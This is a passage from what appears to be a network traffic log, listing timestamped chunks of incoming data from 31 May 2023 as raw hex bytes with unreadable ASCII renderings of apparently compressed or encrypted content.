2023-05-31 10:22:22 UTC	3657	IN	Data Raw: da 6a d4 35 9f 46 6b 94 41 bf 54 65 99 b3 6a 35 69 60 5e 7a de 85 4e cf 0a 32 53 84 cc d9 86 8b ee 3a e1 16 6c bc 3f 91 e6 d3 fd fa fa 1d e5 45 ad 0d a6 b1 61 15 b7 8b 65 d6 21 01 62 88 51 1f 09 fa 6f 69 8b 53 f7 d6 1a e9 57 ff e1 67 f3 4d ad f7 8b 63 35 86 f8 16 b8 63 f5 bd 38 99 51 a4 8c 85 e5 36 cc 54 c9 92 bb 4a 08 86 ef 68 2e d9 52 45 ca 0c 6b 9a 0f 37 79 a4 65 18 c0 45 19 e1 f5 bb fe d7 2c 3b bc b3 c0 1c 2b 04 b1 2d 14 81 65 f6 d1 ea 9d 0a 7a 70 3f 44 3b 26 d9 15 e0 99 1b e5 07 3f 31 3d f8 c4 9c 1a 51 f9 7a 25 c7 8a 9e f7 e4 8b 05 64 bf 4f 75 e5 c7 44 1d b9 bf 92 63 a1 95 a5 78 ad c9 a8 9c 49 a4 a6 12 0c d7 6e db 92 d6 4d 00 b2 fc 1d 4f 53 f9 34 d7 37 36 c9 73 3f a0 0a bf 2f 10 f9 6b 08 3b a5 f0 71 c9 23 a2 e1 25 64 b2 89 30 12 81 fb 69 9e db 86 bd Data Ascii: j5FkATej5i`^zN2S:l?Eae!bQoiSWgMc5c8Q6TJh.REk7yeE,;+-ezp?D;&?1=Qz%dOuDcxInMOS476s?/k;q#%d0i
2023-05-31 10:22:22 UTC	3673	IN	Data Raw: 2b 5d 74 72 44 ad c0 b7 f4 1d 93 54 8d c6 64 a9 31 1c 3b bb 5c 84 47 2c 2f 89 2a 4a 16 ea 68 4c 1e 3d a5 1c 98 85 01 98 be 4a 1a 85 29 a6 31 b1 48 d4 81 5f 7f be fa 31 fd f9 92 ea 65 a7 e3 5e d7 d4 33 f4 f4 63 8a 09 40 d8 b1 0b d9 e2 62 a2 ae 33 a3 1c ee 9f 68 08 7d b1 25 a5 01 b6 d9 ee 79 db 9c ee 5e 26 94 67 f5 e6 7e 9f e2 40 9f 52 22 8b 52 96 ee 1e 59 7e c5 21 7e 49 9d 99 b6 23 c3 ab 38 b0 b2 0b 03 7d 92 61 52 ad 70 a0 57 71 70 bb 8a b2 3e 1a 53 4c e5 25 65 0f 86 78 a6 43 f6 5b 82 7e 9f ac 2a 1c 68 5b 33 4d 40 bf ff 50 db 3a a8 db 26 30 59 dd 76 b8 bf 4c c7 ec 89 61 03 d2 20 df 58 d8 41 c3 d2 00 cf 74 c8 41 91 66 75 1d 71 c9 49 fa 48 91 ca 49 bc ad 8c c2 14 43 4c bc c3 f4 2b 1a 89 29 06 87 b7 dc f3 51 aa e1 51 6e 65 79 6d 79 83 b3 82 7c 94 e4 03 d9 5a Data Ascii: +]trDTd1;\G,/JhL=J)1H_1e^3c@b3h}%y^&g~@R"RY~!~I#8}aRpWqp>SL%exC[~h[3M@P:&0YvLa XAtAfuqIHICL+)QQneymy\|Z
2023-05-31 10:22:22 UTC	3689	IN	Data Raw: f8 cb a0 2f 54 14 7a 28 44 5a ac bc fa b8 22 e4 e0 6a ed 1d ed 3a ff 70 43 34 4a 8d 0a 63 a4 f9 2e 5a e7 db 28 d9 3e a1 a1 21 2e 44 56 64 51 f5 42 1e e5 9f e4 5f e0 5f e7 87 28 23 94 1b 95 9f 2b 9f 2a 9f 2b 0d da 32 6d 9a be 03 35 6b 96 ff 57 fe 3f fa 3f f4 7f e1 3f 2f 38 36 58 1e bc 36 b8 36 d8 15 9c 1b 6a 43 db c9 62 7a cf e4 14 7e 31 6a 74 87 d8 57 ba 5e da 2e fd 49 e9 af b6 a8 67 6b b3 e8 bd ad cb 62 ba 68 3a 17 17 f6 09 87 85 72 71 92 f4 9c 74 58 12 e5 6a f9 3d b9 bf f2 b0 3a 58 5b a0 75 6a 23 f5 36 7d 9b 7f af ff a0 3f cb e8 6f 0c 35 26 a1 ae d4 1b cb 8c 95 c6 1a 63 9b b1 d7 38 68 64 99 fd cd a1 e6 24 73 be 39 88 b5 a7 2c 66 df bc c9 1d e5 3e e0 7b 09 73 85 7a 61 99 70 a7 b8 45 7c 55 fc b3 f8 81 78 50 fc 5a 1c 2a 5d 24 e9 52 be 34 41 5a 0f 1d fe aa Data Ascii: /Tz(DZ"j:pC4Jc.Z(>!.DVdQB__(#++2m5kW???/86X66jCbz~1jtW^.Igkbh:rqtXj=:X[uj#6}?o5&c8hd$s9,f>{szapE\|UxPZ]$R4AZ
2023-05-31 10:22:22 UTC	3705	IN	Data Raw: c3 df 86 cf 79 10 aa bf 1e 82 6f f0 20 34 c4 8d ec d7 c6 c9 54 9a ef ce f4 14 a4 04 5d a6 6a 24 99 1c 4d 01 e4 91 be 74 13 4b b9 7a 13 fb a8 67 a5 aa 6e 66 3f 5a d9 8f 9a 61 f6 63 1f fb 71 df 5e ab ac a1 43 f0 15 09 4d c1 57 6e e8 30 73 f9 4b e6 32 7e 39 21 cf 05 ba 54 3f 68 a7 5b 73 c6 f6 3d 1b 9c dc 5b 76 8e 85 97 05 ba fc 97 9d 4a b5 e8 42 37 b8 19 e6 b1 ea bd 06 32 2c 33 ac 0d b9 52 72 dd e8 26 b6 c5 f6 b8 3e 28 b1 9a 5e c3 2a d1 c9 40 8f 83 86 55 a0 17 82 3c d6 dd 62 e7 82 d5 2a 47 25 9b 14 ed 7d dc 67 db ba b1 8a 40 d3 dd cf d2 da c2 7b 16 e4 79 3e ef 04 c7 a1 13 b0 8e 75 3e ef 03 c7 a1 0f 84 8e 45 ce e7 5d e0 f8 33 3c 94 5b f3 3c 8b 08 9d 31 c5 a2 ad a7 1d d0 db d6 d3 4b c3 c7 72 e7 90 ea 77 98 76 94 15 90 6c 4e b2 1c 93 f0 36 10 a9 bc 19 3a 30 64 Data Ascii: yo 4T]j$MtKzgnf?Zacq^CMWn0sK2~9!T?h[s=[vJB72,3Rr&>(^@U<bG%}g@{y>u>E]3<[<1KrwvlN6:0d
2023-05-31 10:22:22 UTC	3721	IN	Data Raw: 83 e3 47 15 23 c7 8f a2 ab 0d 8e 1f 45 8d 70 fc a8 74 af 82 e3 47 f1 ed 88 10 3f aa 34 19 e0 47 35 7d 09 f1 a3 5c 13 f0 a3 62 cb 02 7e 54 ed 54 80 1f 45 fb 20 e2 47 f1 c5 21 c6 8f 4a f7 76 44 fc a8 ae 10 c5 8f 1a 4b 51 fc 28 2f 26 e2 47 45 bb 8c 1f 45 73 22 e3 47 a9 14 85 1f 7d 86 3b 18 f1 a3 c8 c7 88 1f c5 f5 18 f1 a3 c8 29 02 3f 8a bc 22 f0 a3 c8 2b 02 3f 8a bc 6a e0 47 9f e1 17 ca 0a 7e 14 5d 7b cb f8 51 e1 b2 5d c2 8f a2 e5 29 e3 47 d1 01 2e e1 47 b9 62 c2 8f 72 0f 05 3f 8a d6 89 06 3f ca 55 8e 1f 45 bb a6 c5 8f a2 ee 68 f1 a3 a8 45 2d 7e 54 b9 ad 11 e0 47 35 77 c2 10 7e 14 df 1e 95 f0 a3 e8 d0 d2 e1 47 c3 3b d0 1a fc 28 1a 39 84 1f 55 ad 14 3f aa 9a 11 7e 14 ed 96 06 3f 2a 16 c5 f8 51 51 11 f0 a3 82 c4 f1 a3 cc 6c c6 8f c2 6f 19 59 c7 f8 51 a6 fb d5 Data Ascii: G#EptG?4G5}\b~TTE G!JvDKQ(/&GEEs"G};)?"+?jG~]{Q])G.Gbr??UEhE-~TG5w~G;(9U?~?*QQloYQ
2023-05-31 10:22:22 UTC	3733	IN	Data Raw: 4c 56 cc 86 c7 ba 8d 2d 7f 03 e1 53 5b c6 87 b7 0d 6d 9e 3d 36 4c 76 65 36 9c b4 e6 0c 5a bb 5a 20 fc ab 7f 15 fc b4 83 67 aa ab 7b cf 59 0c 48 3c 72 f5 12 3c bd 5e 0c 1c 39 f7 69 7a aa 5d 44 26 2d 1e c4 5b 45 15 23 45 92 ac c8 29 30 cf 77 5d 00 a3 b0 f0 6f 62 14 c8 c9 74 10 76 fd 35 72 76 da 41 a6 a8 b5 c8 63 c8 e2 5f 86 27 e8 10 ee 02 b1 62 3d df a6 01 61 da b0 32 14 51 f6 82 31 a2 2c fe 42 ad 88 32 0d b3 ed 48 ca 6c 5b 58 83 d9 b6 0f e2 8b 8e 4d d0 88 b2 c7 e1 dc 28 33 db a0 ef 1a 66 1b 98 25 66 db 21 91 d9 76 84 8e d9 76 b2 c2 6c 83 46 65 66 1b d8 8c cc b6 b7 22 98 6d 6f 45 30 db de 12 99 6d e7 9a 98 6d 6f 49 cc b6 8b 25 66 db 5a 89 d9 b6 41 62 b6 6d d0 32 db ae 31 31 db 7e 4c 99 6d cf 1d 26 b3 ed 48 89 d9 d6 26 33 db f6 19 99 6d 6f 28 cc b6 cf 28 cc Data Ascii: LV-S[m=6Lve6ZZ g{YH<r<^9iz]D&-[E#E)0w]obtv5rvAc_'b=a2Q1,B2Hl[XM(3f%f!vvlFef"moE0mmoI%fZAbm211~Lm&H&3mo((
2023-05-31 10:22:22 UTC	3746	IN	Data Raw: 16 f7 39 33 06 a9 95 da 24 3f bd 2a 4f ae 29 f1 70 4b 9f fd 10 1b 63 df be 2e dc 2b f9 b7 0a fb 8d 67 c9 8f 5c fe be c2 de bd 9e 6c 49 65 a4 96 fd b4 e2 53 90 5a f6 07 37 90 cd 9e 87 d4 b2 e7 ce 8e 18 bd bb ac 7d 07 71 05 1d 78 eb 39 a4 11 0f a9 65 4f 9c ab 3c 21 7a 48 2d fb 56 e2 f0 d3 67 da 13 e7 45 9a 14 48 2d 3b bb 49 d3 17 af d0 49 e2 0b 31 47 f6 57 2e 90 5b 0e 91 5a f6 5d 9b a3 9d 12 48 2d 7b fe 42 72 0e 04 a9 65 d7 5f 44 b7 e4 01 35 cb be 25 b4 47 90 5a f6 d2 16 5d a1 2e 66 7f 71 6b 6c 29 f0 6e dd 16 16 23 48 2d fb 45 c5 2e 81 82 ec b6 4e 32 27 12 52 cb 7e d8 75 c5 22 b5 ec bf ea ba 33 14 e8 91 5a b6 43 35 7a a4 96 3d 29 d5 a3 47 6a d9 d3 54 14 87 d4 b2 67 a8 2a 0e a9 65 1f a0 aa 38 a4 96 3d 47 55 d5 90 5a f6 db 5c 65 f8 5a 28 44 6a d9 4b 5d e4 89 Data Ascii: 93$?O)pKc.+g\lIeSZ7}qx9eO<!zH-VgEH-;II1GW.[Z]H-{Bre_D5%GZ].fqkl)n#H-E.N2'R~u"3ZC5z=)GjTge8=GUZ\eZ(DjK]
2023-05-31 10:22:22 UTC	3762	IN	Data Raw: 17 07 12 33 79 cc eb 88 49 cc 15 99 82 84 e6 71 f2 05 48 54 90 ac 81 38 4a 90 3e 20 d6 7c 4e 8a 41 7c 82 8c 07 09 0a 32 67 20 fd 36 87 93 95 20 71 41 1e 02 f1 2c e0 24 02 12 10 a4 8e 4a 16 e4 28 48 48 10 57 01 1c 13 24 17 24 22 c8 79 20 51 41 c6 14 d0 33 ae 9c 5c 01 12 17 64 12 48 42 90 79 54 ce 22 4e d6 53 39 82 ec a0 72 04 79 83 ca 11 e4 00 88 ab 4c 9c 61 0b e8 09 52 31 3f 83 58 82 74 2a 84 63 82 9c 03 e2 15 a4 04 24 28 c8 15 20 61 41 26 81 44 05 a9 00 71 95 8b 73 2e 88 3b 45 26 d3 f2 74 e1 3c 97 25 62 1e a5 fa 08 f2 3b aa 8f 20 7b 0a e9 9b 65 a2 1f 52 0d 05 f9 5f 90 88 20 6e 2c df e3 82 0c 06 71 57 70 72 19 88 57 90 19 20 01 41 82 20 61 41 36 83 f8 17 73 f2 32 1d b5 84 93 0f e8 28 41 3e 07 89 09 92 73 3e 6a 28 48 e1 f9 f4 34 af a8 21 88 eb 56 b1 06 00 Data Ascii: 3yIqHT8J> \|NA\|2g 6 qA,$J(HHW$$"y QA3\dHByT"NS9ryLaR1?Xt*c$( aA&Dqs.;E&t<%b; {eR_ n,qWprW A aA6s2(A>s>j(H4!V
2023-05-31 10:22:22 UTC	3778	IN	Data Raw: 05 9d 96 ed dc ab ef 75 a3 db ff 1a 90 5f 78 1b a5 a8 a3 f7 e2 bf 34 a6 d9 ba 57 7a 2e 2d 32 00 e4 03 d7 53 aa fb 25 40 5e ac 28 d5 7d 16 90 fb 99 b4 fa 3d ec 4f 8b ca 94 e7 01 79 8a eb 00 80 0c d8 48 7f 08 c8 45 b6 ca 3f f6 4b 20 41 58 9d 37 01 72 c5 27 68 cb 3f 0b c8 0e e3 00 ef 05 e4 45 46 87 8b 80 5c 64 ab f3 01 40 fe 94 71 f5 11 20 af b4 69 cb f7 03 32 60 b3 fa 34 20 cf 3f c0 4e 65 02 f2 02 db 5f df c4 af b3 3e 7f 0f 90 3b b9 f4 04 e4 32 ab e9 a5 ad 62 58 e9 df 61 d1 6f fd c4 2f 03 1d b2 59 7d 1b 22 36 8e 8f d2 61 d4 1b bb c0 fc 12 57 41 9d 45 46 2d 4d 40 2e 32 8e 34 07 c8 ab 6c ec c7 01 f9 b7 bf 47 c7 fe 8b 80 bc c8 2c cd 07 01 39 cb f6 d7 93 80 bc c2 46 fa 0c 20 0f b2 19 fb 26 f6 87 71 d1 ff 09 c8 97 be 42 f7 c5 1b 80 87 4d b1 b7 de 7e df 98 fa ef Data Ascii: u_x4Wz.-2S%@^(}=OyHE?K AX7r'h?EF\d@q i2`4 ?Ne_>;2bXao/Y}"6aWAEF-M@.24lG,9F &qBM~
2023-05-31 10:22:22 UTC	3794	IN	Data Raw: 2a 3f 00 26 c6 eb f9 42 a2 ba 4e fc 36 a0 95 6a d8 20 72 5f c5 03 e8 ed 62 bd 23 e1 c3 3d 18 38 e2 3f fc 08 f5 9e 86 d3 0d b8 78 02 81 43 79 80 7c ba b1 2d 7d a1 38 22 77 46 5e 83 8e 57 0e 97 98 bf 34 8c 71 2f c7 b8 17 31 1a 71 b9 09 57 2d e1 fa 13 9a 0c f7 48 1b 4f bc 89 1d 3a be 54 bb 36 7a b8 64 60 7e e1 37 98 b9 c3 1a d3 8f ab 58 99 40 8d 72 29 52 d7 1f 84 02 9a ee 4a b1 ae d7 ef 4a 2b ba 26 5f 2b 2c 7c ba 0a f3 32 5a 55 18 19 b6 ce 42 e3 eb 7f da 3a cd b4 a1 0f ab 72 3a b8 8d 2a 67 90 e7 d9 60 73 a8 b2 1d 77 8f 9c 09 5b 2d e2 04 ce ca 16 cb a3 f4 03 9f a5 52 54 b8 1b bd 1b c2 5d e6 73 e0 54 0f b7 c4 a9 e5 40 a2 05 4e 07 18 35 0e f3 80 d0 c2 5d 9c 0e be 93 d1 a9 e5 36 02 6b 43 b0 e3 9e 07 c4 25 e9 6b 14 2c f5 71 08 3d 9d 37 c8 1d 96 6a 27 9d a0 3a dd Data Ascii: ?&BN6j r_b#=8?xCy\|-}8"wF^W4q/1qW-HO:T6zd`~7X@r)RJJ+&_+,\|2ZUB:r:g`sw[-RT]sT@N5]6kC%k,q=7j':
2023-05-31 10:22:22 UTC	3808	IN	Data Raw: 1d f6 f3 19 aa 72 07 7b 7c bf 5d 19 1f 0c 0c 97 ed 3d 39 df f9 7c 18 56 8e 14 df e9 3d 14 a3 ac 05 bd 19 05 f6 69 40 ae 8e 5e d4 19 59 98 8e 85 c7 6d a6 c2 5e 58 78 d4 c6 f0 15 16 ba 7a 3f 1b 41 9a 39 28 15 8b db c0 16 de 0d 4e 8c e7 3c 8b 64 9f df 2f 4d 6c 85 24 fb 7c 8e fb bc 31 9f fb dc 8e b7 a7 78 8f 36 1d f5 3f 6a 9f 1f 55 11 85 65 e3 c0 ae 63 90 c6 da b6 07 22 96 0a a6 bd ce 66 25 ca 18 c8 d3 a7 32 eb 28 9d 29 af 16 6b 4f b0 ff 5f 58 bc a2 17 20 98 38 bf 62 fb 7f bc 02 36 ff e2 d9 b3 23 b0 2f 86 48 9d 3d 5d 39 8d 52 5f 7e ab 99 fa 12 29 cd 00 31 49 ff 2d 80 ff c4 86 bd b2 c7 16 48 6a fe ea f9 ee a9 79 b5 83 a8 f9 e0 3c a6 a6 71 e6 ad 9e a6 9c 79 69 05 bc 0a 22 e0 1a 0d a2 b7 6b 98 bc ca 3b 4f 9b cf 40 0d 7f b3 ca ae 26 cf 56 68 a0 c9 65 44 a3 d3 bd Data Ascii: r{\|]=9\|V=i@^Ym^Xxz?A9(N<d/Ml$\|1x6?jUec"f%2()kO_X 8b6#/H=]9R_~)1I-Hjy<qyi"k;O@&VheD
2023-05-31 10:22:22 UTC	3822	IN	Data Raw: 0d 90 eb 77 80 f7 88 ec b0 50 bc dc b0 dc 59 00 2d af 15 2d b7 88 1a 56 5a 40 46 8f 93 d7 a7 f0 4c 59 64 1a af 23 b3 a2 9e d3 c0 96 27 1e ec 46 13 43 c3 30 e6 43 c8 18 73 41 7f ff fb 90 da 45 25 e2 c2 04 83 db 43 17 95 47 c8 50 a1 34 42 81 d0 4b 22 c6 4e db 41 77 23 47 8a 77 a9 a9 dd 94 12 5a fe 20 df 5d 7e a4 b8 06 2f 54 58 e2 75 4c 94 15 87 23 da 6d cb 1e b5 34 c8 98 05 23 3f c2 30 0c da 49 ea 5b f3 8e 9d e5 43 98 de 6e 7c c7 aa 86 5d 86 37 23 f0 76 99 6d 59 31 c0 66 b3 b7 9e fa 52 bc f8 48 f4 d4 03 1d a4 9c c1 b5 0d 6d bd bd 9d cf 38 41 2a 5d 82 ef 06 d7 9e 01 c5 92 85 4e 1d 4f 84 c4 e2 43 ac 96 2a 6b 83 a8 d7 48 22 4f 3d 12 2a 77 85 60 26 26 80 3a 2f 8a b6 0b 51 d2 9d ce 96 8d dc 87 3c f5 d8 fa dc d9 9c 0c a3 1c d1 e1 af b5 c0 1f ca c5 e5 e7 db 3a df Data Ascii: wPY--VZ@FLYd#'FC0CsAE%CGP4BK"NAw#GwZ ]~/TXuL#m4#?0I[Cn\|]7#vmY1fRHm8A]NOCkH"O=*w`&&:/Q<:
2023-05-31 10:22:22 UTC	3838	IN	Data Raw: 8d 60 5f 38 55 66 bb a9 86 3d 6a 0b 87 00 ce da 77 a8 25 56 e7 48 d2 7e 0d 69 df ee 5b a6 fd b9 d3 36 55 d4 7f fe 2c f6 e2 fb a7 b8 81 d3 41 33 67 93 f9 83 13 ae fa b0 01 9e 69 3a ed 2d 35 1a 69 81 2c cf da 9a 5c 9e e9 24 cf 9b 24 cf 0e 92 67 f5 65 26 cf b3 a7 6d 5a 85 ea c7 e6 4a 93 6c f2 3e cd fe 53 7a c4 ee 74 1d 96 9f 93 f8 6e c3 d4 50 4c 5f 12 73 0e 89 b9 82 c4 3c 40 62 5a 40 cc d5 a7 74 62 86 3a c4 7c 2d 4e 85 10 20 94 b2 28 0e eb 47 bb ac 9b d5 fb 60 8e cc 7c 54 ab c7 c7 a1 83 3c a5 0c 8f 73 b8 56 67 15 70 25 e3 ed cc 8e 4b 7e d0 43 9e 63 6f 26 dc b6 43 9c 70 11 03 57 ac bd a9 b7 cc 56 98 5b ec 6f e4 64 8d e3 24 27 db 1b eb 90 3f ae 16 88 34 df fa 27 6d e7 20 fe 27 15 bc 39 af dd 6d 98 6c bc 71 6a 3c 3b e0 78 4e e7 54 63 27 bb 9a 5c b8 ab 9b 11 a1 Data Ascii: `_8Uf=jw%VH~i[6U,A3gi:-5i,\$$ge&mZJl>SztnPL_s<@bZ@tb:\|-N (G`\|T<sVgp%K~Cco&CpWV[od$'?4'm '9mlqj<;xNTc'\
2023-05-31 10:22:22 UTC	3854	IN	Data Raw: f4 6e 35 bd 5b a4 e7 94 c3 05 91 9e c7 e9 fd b4 22 2f 67 f5 a6 14 5c fe 4a 57 b7 2e 8b d7 6a 2d 28 a2 3c 59 b6 2c 4f 96 2d d7 83 cb 7e 48 8d fd 10 c5 ce 50 ec ea b2 1f 56 d3 1f a6 75 2b d0 ba 6d 8b 9f 3e 1c 43 89 5f 3f 79 e4 25 df 2e e3 60 4f fd 50 f3 dd 23 f7 a8 e6 96 27 da f1 76 79 ec de bb 8f e4 43 c7 72 ca 91 9c 72 2c af b5 71 aa 6f 24 3d ef 8d ab bf f6 f1 df f5 ae 77 fd f5 cf 31 27 46 64 9f 77 7d fe ca a7 ba fe f6 57 26 cc 0f 62 3a 20 e7 07 89 2f f9 7e 2d e4 5d 13 bb 2a 96 ae 53 5b b5 3d b9 7b af 37 b1 57 f4 64 35 d7 9e 5d 73 59 aa 72 99 77 c9 55 95 e5 fe fa 2c 5d f1 57 7b b6 8a 3d 55 59 ee d3 c9 d2 bd 55 ac 5e 9d 0e 9d 2c 96 ad a2 b6 2e f4 75 a8 4a d7 96 4d f4 89 6f 53 b2 cf 7b bb 2f c2 19 d9 21 de df ad 43 9c 91 1d e2 7d fd 0e e1 d3 3a 04 ae 48 91 Data Ascii: n5["/g\JW.j-(<Y,O-~HPVu+m>C_?y%.`OP#'vyCrr,qo$=w1'Fdw}W&b: /~-]*S[={7Wd5]sYrwU,]W{=UYU^,.uJMoS{/!C}:H
2023-05-31 10:22:22 UTC	3870	IN	Data Raw: db 48 c3 c7 84 8f 08 1f 3b 13 3e d0 f0 21 e1 03 c2 87 ce 84 f7 34 bc 4f 78 8f f0 be 33 e1 1d 0d ef 12 de 21 bc fb 29 2d 37 6b 8a 62 6b 29 e3 2d 8e b6 8f c6 5b 1c bf e2 3d ee 70 8e e2 d3 78 0b f6 a1 c1 3e 1c 5f 1b f9 e0 6c 4d c8 75 0b b9 06 b9 2e e4 8a 92 ab 90 2b 90 ab a6 92 6f 85 5c b6 90 6f 21 97 85 5c 54 72 09 72 11 72 c9 54 f2 b5 90 6f 2c e4 6b c8 37 42 ce 2b b9 00 39 0f b9 60 2a f9 52 c8 57 16 f2 25 e4 2b 21 67 95 9c 83 9c 85 9c 7b 8a 6c e0 78 0b d9 80 8c 65 03 2e d8 80 8c 6c 40 4a 37 20 cd 06 a4 d8 80 b4 a9 3d 4f 08 39 69 21 27 20 27 85 1c 53 72 1c 72 0c 72 dc 54 72 44 c8 51 0b 39 02 39 2a e4 90 92 c3 90 43 90 c3 a6 92 03 42 0e 5a c8 01 c8 41 21 fb 94 ec 87 ec 83 ec 37 95 ec 11 b2 d7 42 f6 40 f6 0a f9 f1 27 ce e4 37 3f c1 0d e4 4f 70 03 f9 13 9f 89 Data Ascii: H;>!4Ox3!)-7kbk)-[=px>_lMu.+o\o!\TrrrTo,k7B+9`RW%+!g{lxe.l@J7 =O9i!' 'SrrrTrDQ99CBZA!7B@'7?Op
2023-05-31 10:22:22 UTC	3886	IN	Data Raw: f8 82 f0 e5 27 84 3b 3e 6c 6b a6 cb cf 59 7e c6 f2 73 67 6c 13 0d 9f 12 3e 21 7c ea 4c f8 48 c3 c7 84 8f 08 1f 3b 13 3e d0 f0 21 e1 03 c2 87 ce 84 f7 34 bc 4f 78 8f f0 be 5b 2d ef e8 f2 5d 96 ef b0 7c d7 19 5b 4b c3 db 84 b7 08 6f 3b 13 de d0 f0 26 e1 0d c2 9b ce 84 d7 34 bc 4e 78 8d f0 ba 33 e1 15 0d af 12 5e 21 bc ea 56 cb 6f 75 f9 32 cb df b2 7c d9 19 5b 51 c3 4b 84 17 09 2f 39 13 7e ad e1 37 84 5f 13 7e e3 4c 78 5e c3 0b 84 e7 09 2f 38 13 7e a9 e1 57 84 5f 12 7e e5 56 cb b3 ba 7c 8e e5 b3 2c 9f 73 c6 76 a1 e1 19 c2 2f 08 cf 38 13 9e d2 f0 34 e1 29 c2 d3 ce 84 27 34 3c 49 78 82 f0 a4 33 e1 31 0d 8f 13 1e 23 3c fe 29 2d 37 6b 8a 62 44 fe b4 1b e5 8f a6 3a de e2 f8 15 ef 71 87 73 14 9f c6 5b b0 0f 21 f6 21 fc ce 9f 89 8d 7a 70 36 20 e4 a0 85 1c 80 1c 14 Data Ascii: ';>lkY~sgl>!\|LH;>!4Ox[-]\|[Ko;&4Nx3^!Vou2\|[QK/9~7_~Lx^/8~W_~V\|,sv/84)'4<Ix31#<)-7kbD:qs[!!zp6
2023-05-31 10:22:22 UTC	3902	IN	Data Raw: 1a b2 86 2e bd 08 1a 1a 52 82 c3 1a ae 21 35 38 6c 68 25 09 23 76 e2 3e ad 13 03 b4 90 54 d7 ab 7a 3f 02 d3 ab 60 bd aa 7e 98 1e 54 f4 28 e1 55 d3 ec 20 68 d5 34 3b 08 ba 62 5a 3e dc a6 62 9a 9e e0 aa 9a e6 27 b8 aa a7 d9 01 cd f7 e0 84 19 4f 1d 1a 95 53 85 44 1c 38 91 57 85 67 de aa 59 5d 15 29 42 f9 fa 3b 0c 47 fb ca 08 8f bf b7 3e 2b 91 e6 94 44 d2 36 68 32 2a ca 58 d1 b0 36 b6 29 c1 02 a5 84 39 50 4a 7b dc c1 88 48 8b f8 12 4a b0 17 23 be 5e 2b ea e9 d6 a6 12 0b 83 bd 94 be f1 c4 82 1d 0b 36 8b 26 e9 59 48 b7 b9 66 c3 82 9f b3 e0 9b 15 0b 56 ac db 73 41 e8 bb e2 29 17 65 86 62 b2 12 c3 7e 23 80 07 f0 50 5f 27 46 99 bd 18 36 0b 5f 19 c5 48 b7 1d 91 9e ff 74 f3 57 9b 66 28 e7 fc 17 ce 92 7f b3 dc 59 f3 6f 25 bc bd 08 96 07 7e f8 14 2c 99 76 43 85 2e 41 Data Ascii: .R!58lh%#v>Tz?`~T(U h4;bZ>b'OSD8WgY])B;G>+D6h2*X6)9PJ{HJ#^+6&YHfVsA)eb~#P_'F6_HtWf(Yo%~,vC.A
2023-05-31 10:22:22 UTC	3907	IN	Data Raw: ce 4f 08 35 16 b0 76 bc e4 12 d0 39 ff fa c1 72 1a 4f e6 b3 72 22 22 88 b7 eb 6b 77 13 e1 9b 99 f0 c7 97 3a 78 0a 15 cf 83 92 ba db 2c dc da b2 ff d4 c6 be 32 2e f9 05 2e f9 08 37 ca e1 29 7d 38 34 22 42 15 37 e3 f3 7b 3b 80 ea 62 96 2a df 29 52 18 75 bb 85 03 69 c1 19 9e 5d 31 1e 47 c4 31 e7 79 80 78 42 54 eb c5 c5 be 5f 42 33 f6 52 73 6b d1 87 4a fb 5e d0 87 97 17 78 14 ff 26 74 e2 0b 18 42 95 d0 e3 4f d4 c3 2a c7 42 07 40 2c c7 c6 b9 af 6f 01 dd e6 e2 51 15 d8 94 33 69 a9 e8 65 1a 3e 36 b0 c5 fa a0 87 a8 27 12 1c 8c c8 fe 9f 34 22 c9 38 47 7e 52 91 c0 27 e4 e7 dc d7 03 9f 44 02 9f 92 a7 4f e1 83 33 0f 8d 38 e3 0f 8d 94 c0 a1 05 09 f5 c1 36 dd a9 91 88 fc aa b7 f7 60 60 f0 19 fe 1a 2e bc 50 0b 6f 7d c7 87 4a a4 2c 2d c4 ad 6d 93 07 28 1f 7c 46 22 38 08 Data Ascii: O5v9rOr""kw:x,2..7)}84"B7{;b)Rui]1G1yxBT_B3RskJ^x&tBOB@,oQ3ie>6'4"8G~R'DO386``.Po}J,-m(\|F"8
2023-05-31 10:22:22 UTC	3923	IN	Data Raw: c4 bc 88 42 e1 7c 9d c2 05 3a 85 59 0e 0a 5d c9 78 f3 45 30 08 21 dc 48 13 19 48 f1 a6 d4 4a 1f 18 06 b4 d8 7b 76 e1 4f c6 3e 48 e0 68 d6 1f 26 b7 d8 77 6c 9b 7c d0 be 69 bb c3 d6 01 15 af 3d 11 09 f8 93 f1 fd 6e 02 ad 0a 81 2d 40 60 ab b0 ad d3 33 47 a6 53 36 28 81 00 d8 1a 17 81 fd 0a 81 4d 40 60 b3 b0 e5 67 66 8e 9c a9 70 40 46 75 bc 2d 93 9d 48 46 24 a4 42 c9 78 3b 2d c5 f4 ca 30 31 6b 6e f2 ed 0a f9 0d 40 7e a3 63 66 51 f9 8b 24 e3 9d 6e 02 1d 0a 81 06 20 b0 5e 98 34 de 40 2e a1 68 32 de a5 12 48 5e dd 49 67 f0 96 c9 7f b0 ef 58 6b b7 4d ee 40 0b 08 b1 7b 08 7a 20 73 24 20 eb 4f a4 63 18 f4 65 e2 ba c3 48 d2 72 58 99 ca eb bc 9e 44 f3 1a 6e 62 f8 b7 0e 9c f6 e5 e8 dc 34 c4 ee c7 d1 8c 23 b2 35 69 c1 07 03 2c fc 38 00 28 00 98 99 22 4c f9 31 e5 67 a9 Data Ascii: B\|:Y]xE0!HHJ{vO>Hh&wl\|i=n-@`3GS6(M@`gfp@Fu-HF$Bx;-01kn@~cfQ$n ^4@.h2H^IgXkM@{z s$ OceHrXDnb4#5i,8("L1g
2023-05-31 10:22:22 UTC	3939	IN	Data Raw: 90 3f f5 67 ac 16 f5 7d b4 e7 02 98 4f 81 ed cf dd 34 e2 a9 1c 21 f2 5b 38 40 c0 3d 7e e5 44 89 7a b1 f5 ab 74 bf 73 c1 28 b7 14 f1 38 85 6e 02 b2 e3 22 56 63 f0 55 e7 d1 c4 47 2e 90 e2 ee e6 33 7f 35 9f f9 ab f8 19 50 e5 10 7b 73 ae 18 62 6f ce 8b 86 9c 3d 01 11 5c f5 9e 68 1f d2 7b 22 45 83 0c 13 46 ec 57 c0 7e 55 0c 19 0e 6d 38 c8 7f 22 48 e5 10 3f 13 aa 12 e3 93 43 ac c5 73 d3 da 9c 9e bf eb 15 e5 b8 48 29 5f ce ca 7f 3e 03 f0 96 bb 96 16 ed ac 7c f3 b3 50 de 2e c6 3d 3f 1a 8a fc 54 e1 c8 12 1c 05 68 9c 54 ca a5 3c 38 c2 93 ab 37 5f 31 9c 5c ad 67 f4 de 33 43 39 d6 43 61 d0 f2 1d ac 7c 22 f2 b9 63 88 5b a8 f5 02 82 53 48 1c 1b 52 5a 62 82 f8 0d de 25 02 ae 52 55 51 09 00 af 7a e7 9e 9b 73 5b 84 8b 22 a0 c3 dd de 11 75 58 3b a9 64 da 